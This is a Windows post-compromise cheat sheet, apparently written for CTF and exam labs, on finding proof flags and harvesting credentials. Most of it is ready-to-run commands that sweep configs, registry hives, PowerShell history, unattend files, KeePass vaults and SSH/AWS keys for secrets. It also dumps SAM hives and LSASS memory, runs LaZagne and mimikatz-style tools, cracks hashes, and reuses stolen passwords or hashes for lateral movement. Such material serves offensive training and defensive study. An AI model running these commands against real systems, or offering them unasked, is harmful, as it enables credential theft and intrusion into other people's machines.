Windows Credential & Flag Hunting
Post-compromise searching on Windows: find proof flags, then sweep for passwords and secrets. Which shell you are in decides which syntax works — this trips people up constantly.
⚠️ Read This First — CMD vs PowerShell
Evil-WinRM, WinRM, and most modern remote shells drop you into PowerShell, not CMD. In PowerShell, dir and where are aliases for Get-ChildItem and Where-Object, so old CMD flags are parsed as arguments and fail:
*Evil-WinRM* PS C:\> dir /S /B *user*.txt
A positional parameter cannot be found that accepts argument '*user*.txt'.
*Evil-WinRM* PS C:\> where /R C:\ user.txt
A positional parameter cannot be found that accepts argument 'user.txt'.
dir /S /B, where /R, and findstr /SI are CMD-only — they do not work at a PowerShell prompt. Use one of the two fixes below.
| Task | CMD (cmd.exe only) | PowerShell (Evil-WinRM) |
|---|---|---|
| Recursive file find | dir /S /B C:\*user*.txt | Get-ChildItem -Path C:\ -Recurse -Filter *user*.txt -ErrorAction SilentlyContinue |
| Find a named file | where /R C:\ user.txt | Get-ChildItem -Path C:\ -Recurse -Filter user.txt -ErrorAction SilentlyContinue |
| Grep file contents | findstr /S /I /M "password" *.xml | Get-ChildItem -Recurse -Filter *.xml | Select-String password |
Escape hatch — run CMD from PowerShell: if you insist on the CMD one-liners, wrap them:
cmd /c "dir /S /B C:\*user*.txt"
cmd /c "where /R C:\ user.txt"
cmd /c "findstr /S /I /M password C:\*.xml C:\*.ini C:\*.txt"
Note —
-ErrorAction SilentlyContinue(short:-EA 0) is the PowerShell equivalent of2>nul— it hides “Access Denied” noise from directories you cannot read. Without it, aC:\recurse is unreadable.
Phase 1 — Flag Hunting
PowerShell (Evil-WinRM)
# Standard proof files anywhere on C:\
Get-ChildItem -Path C:\ -Recurse -Include user.txt,root.txt,proof.txt,flag*.txt -ErrorAction SilentlyContinue -Force
# Usual desktops (most HTB/exam boxes)
Get-Content C:\Users\*\Desktop\user.txt -ErrorAction SilentlyContinue
Get-Content C:\Users\Administrator\Desktop\root.txt -ErrorAction SilentlyContinue
# Anything named like a flag, including hidden files (-Force shows hidden/system)
Get-ChildItem -Path C:\ -Recurse -Filter *flag* -Force -ErrorAction SilentlyContinue
CMD
dir /S /B C:\user.txt C:\root.txt
where /R C:\ user.txt
type C:\Users\Administrator\Desktop\root.txt
Note —
-Includeneeds-Recurse(or a wildcard in-Path) to take effect.-Filteris faster than-Includebut accepts only one pattern.
Phase 2 — Finding Files (PowerShell reference)
# By extension across the whole drive
Get-ChildItem -Path C:\ -Recurse -Include *.kdbx,*.config,*.xml,*.ini,*.txt -EA 0
# Alias shorthand: gci = Get-ChildItem
gci C:\ -Recurse -Filter *.pem -EA 0 | Select-Object FullName
# Files changed recently (fresh loot)
gci C:\ -Recurse -EA 0 | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) } | Select FullName,LastWriteTime
# Only return the path column, not the full table
gci C:\Users -Recurse -Filter *.txt -EA 0 | % { $_.FullName }
Phase 3 — Grep File Contents (Select-String)
Select-String (alias sls) is PowerShell’s grep/findstr:
# Recurse a tree, search common config types for "password"
Get-ChildItem -Path C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1,*.bat -EA 0 |
Select-String -Pattern 'password|passwd|pwd|secret' -EA 0
# List only the matching file names (like findstr /M)
gci C:\inetpub,C:\xampp -Recurse -Include *.php,*.config -EA 0 |
Select-String 'password' -List -EA 0 | Select-Object Path
# Save results to a file
gci C:\ -Recurse -Include *.config,*.xml -EA 0 |
Select-String 'password' -EA 0 | Out-File C:\Windows\Temp\results.txt
CMD equivalent (findstr)
:: /S recurse, /I case-insensitive, /M filenames only, /N line numbers, /P skip binaries
findstr /S /I /M "password" C:\*.xml C:\*.ini C:\*.txt C:\*.config
findstr /S /I /N "password" C:\*.config 2>nul >> results.txt
findstr /S /P /I "password" C:\Users\*.*
Why the original one-liners failed —
findstr /spin "password" *.*andfindstr /si password *.xmlonly search the current directory unless youcdfirst and give real paths, and they are CMD syntax so they error outright in an Evil-WinRM PowerShell prompt. Prefer theSelect-Stringversions above.
Phase 4 — High-Value Locations
Unattended install / provisioning files (classic plaintext creds)
Get-ChildItem -Path C:\ -Recurse -Include Unattend.xml,Unattended.xml,sysprep.xml,sysprep.inf,Autounattend.xml -EA 0
# Common fixed paths:
type C:\Windows\Panther\Unattend.xml 2>$null
type C:\Windows\System32\Sysprep\sysprep.xml 2>$null
# GPP password in SYSVOL (cpassword) — decrypt with gpp-decrypt
gci \\<DC>\SYSVOL -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml -EA 0
PowerShell & CMD history (very commonly holds passwords)
# PSReadLine history file — per user, survives reboots
Get-Content (Get-PSReadlineOption).HistorySavePath -EA 0
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Every user's history
gci C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -EA 0 | % { $_.FullName; gc $_.FullName }
Saved / cached credentials
cmdkey /list # stored credentials (use with runas /savecred)
# Web / app config secrets
gci C:\inetpub\wwwroot -Recurse -Include web.config,appsettings.json,*.config -EA 0 | Select-String 'password|connectionString'
type C:\Windows\System32\inetsrv\config\applicationHost.config 2>$null
Registry secrets
# Autologon plaintext password
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select DefaultUserName,DefaultPassword,DefaultDomainName
# VNC, PuTTY, SNMP, and installer creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>$null
reg query "HKLM\SOFTWARE\RealVNC\vncserver" /v Password 2>$null
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 2>$null
# Search entire hives for "password"
reg query HKLM /f password /t REG_SZ /s 2>$null
reg query HKCU /f password /t REG_SZ /s 2>$null
Keys, vaults, and databases
gci C:\ -Recurse -Include *.kdbx,*.ppk,*.pem,id_rsa -EA 0 # KeePass / PuTTY / SSH keys
gci C:\Users -Recurse -Include *.rdp -EA 0 # saved RDP profiles
gci $env:USERPROFILE\.aws\credentials,$env:USERPROFILE\.ssh\* -EA 0
Finding KeePass vaults — CMD
dir /s /b C:\*.kdbx
where /r C:\ *.kdbx
dir /s /b %USERPROFILE%\*.kdbx
Finding KeePass vaults — PowerShell
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -EA 0
Get-ChildItem -Path C:\Users -Include *.kdbx,*.kdb -File -Recurse -EA 0 |
Select-Object FullName, LastWriteTime
# KeePass config often leaks the key-file path or an auto-open DB path
Get-ChildItem -Path C:\Users -Include KeePass.config.xml -File -Recurse -EA 0
Related artifacts worth grabbing alongside the .kdbx
KeePass.config.xml— may reference a key-file path or an auto-open DB*.keyfiles near the vault — possible key-file auth component- Live
KeePass.exeprocess — memory can be scraped for the unlocked DB (e.g.KeePassDumpFull, or a mimikatz-style memory dump) %APPDATA%\Microsoft\Windows\Recent\— shortcuts (.lnk) that reference a.kdbxpath even if the vault itself has moved
Offline cracking
keepass2john vault.kdbx > hash.txt
john hash.txt
# or: hashcat -m 13400 hash.txt wordlist.txt
Phase 5 — SAM / LSASS / DPAPI (local admin required)
:: Dump the local SAM + SYSTEM hives, then crack/pass-the-hash offline
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
:: Exfil, then: impacket-secretsdump -sam sam.save -system system.save LOCAL
# LSASS memory dump for mimikatz (Task Manager > lsass > Create dump, or):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
# Then offline: pypykatz lsa minidump lsass.dmp
Note — These need local Administrator / SeDebugPrivilege and are noisy (Defender flags LSASS access). For a stealthier route dump remotely with
nxc smb <host> -u u -p p --sam --lsa.
Phase 6 — Automated Tools
| Tool | Run from | Command |
|---|---|---|
| WinPEAS | any shell | .\winPEASx64.exe (or winPEAS.bat in CMD) |
| Snaffler | domain host | .\Snaffler.exe -s -o snaffler.log — sweeps shares for creds |
| LaZagne | any shell | .\lazagne.exe all — browsers, wifi, RDP, DB creds |
| SharpChrome/SharpDPAPI | .NET | dump browser + DPAPI secrets |
| PowerUp | PowerShell | . .\PowerUp.ps1; Invoke-AllChecks |
| seatbelt | .NET | .\Seatbelt.exe -group=all |
# Evil-WinRM: upload a tool then run it
# (from the Evil-WinRM prompt) upload winPEASx64.exe
.\winPEASx64.exe quiet cmd fast
Phase 7 — Using a Found Password (run a session as another user)
Once you’ve recovered a username + password, spawn a shell running as that user instead of just verifying the cred worked.
CMD — runas
:: Prompts for the password interactively
runas /user:DOMAIN\targetuser cmd
:: Local (non-domain) account
runas /user:targetuser cmd
:: /netonly — use when the account is only valid on a REMOTE box (no local
:: logon rights here); local commands still run as YOU, but anything that
:: hits the network authenticates as targetuser. Avoids a failed local logon.
runas /netonly /user:DOMAIN\targetuser cmd
:: Reuse a credential CMD already cached (see `cmdkey /list` above)
runas /savecred /user:DOMAIN\targetuser cmd
PowerShell — build a credential object
# Prompts for the password securely (or build SecureString from a known plaintext)
$cred = Get-Credential DOMAIN\targetuser
# Non-interactive, from a known plaintext (lab/CTF use):
$pass = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $pass)
# New process as that user (own console window)
Start-Process powershell -Credential $cred
# Interactive shell in the CURRENT console (no new window)
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = 'powershell.exe'
$si.UserName = 'targetuser'; $si.Domain = 'DOMAIN'
$si.Password = $pass
[System.Diagnostics.Process]::Start($si)
# Remote session / lateral movement as that user (WinRM must be enabled on target)
Enter-PSSession -ComputerName TARGET -Credential $cred
$s = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $s -ScriptBlock { whoami }
# Run one command as the user without a full session
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami /all }
Note —
runasandStart-Process -Credentialneed the password (or hash via/netonly+mimikatz sekurlsa::pth); they don’t accept an NTLM hash directly. For hash-only creds, pass-the-hash instead:impacket-psexec,impacket-wmiexec, orevil-winrm -i TARGET -u user -H <NTLMhash>.
Quick Wins Checklist
-
Get-Content (Get-PSReadlineOption).HistorySavePath— PS history -
cmdkey /list— saved credentials forrunas /savecred -
Unattend.xml/sysprep.xml/Autounattend.xml - Winlogon
DefaultPasswordautologon -
web.config/appsettings.jsonconnection strings - SYSVOL
Groups.xmlGPPcpassword(→gpp-decrypt) -
.kdbxKeePass,.ppk/id_rsakeys,.rdpprofiles -
reg query HKLM /f password /t REG_SZ /s
Related
- Linux Credential & Flag Hunting — same job on Linux
- Kerberoasting / AS-REP Roasting — turn a domain foothold into crackable hashes
- Hashcat — crack recovered hashes (
-m 1000NTLM,-m 5600NetNTLMv2)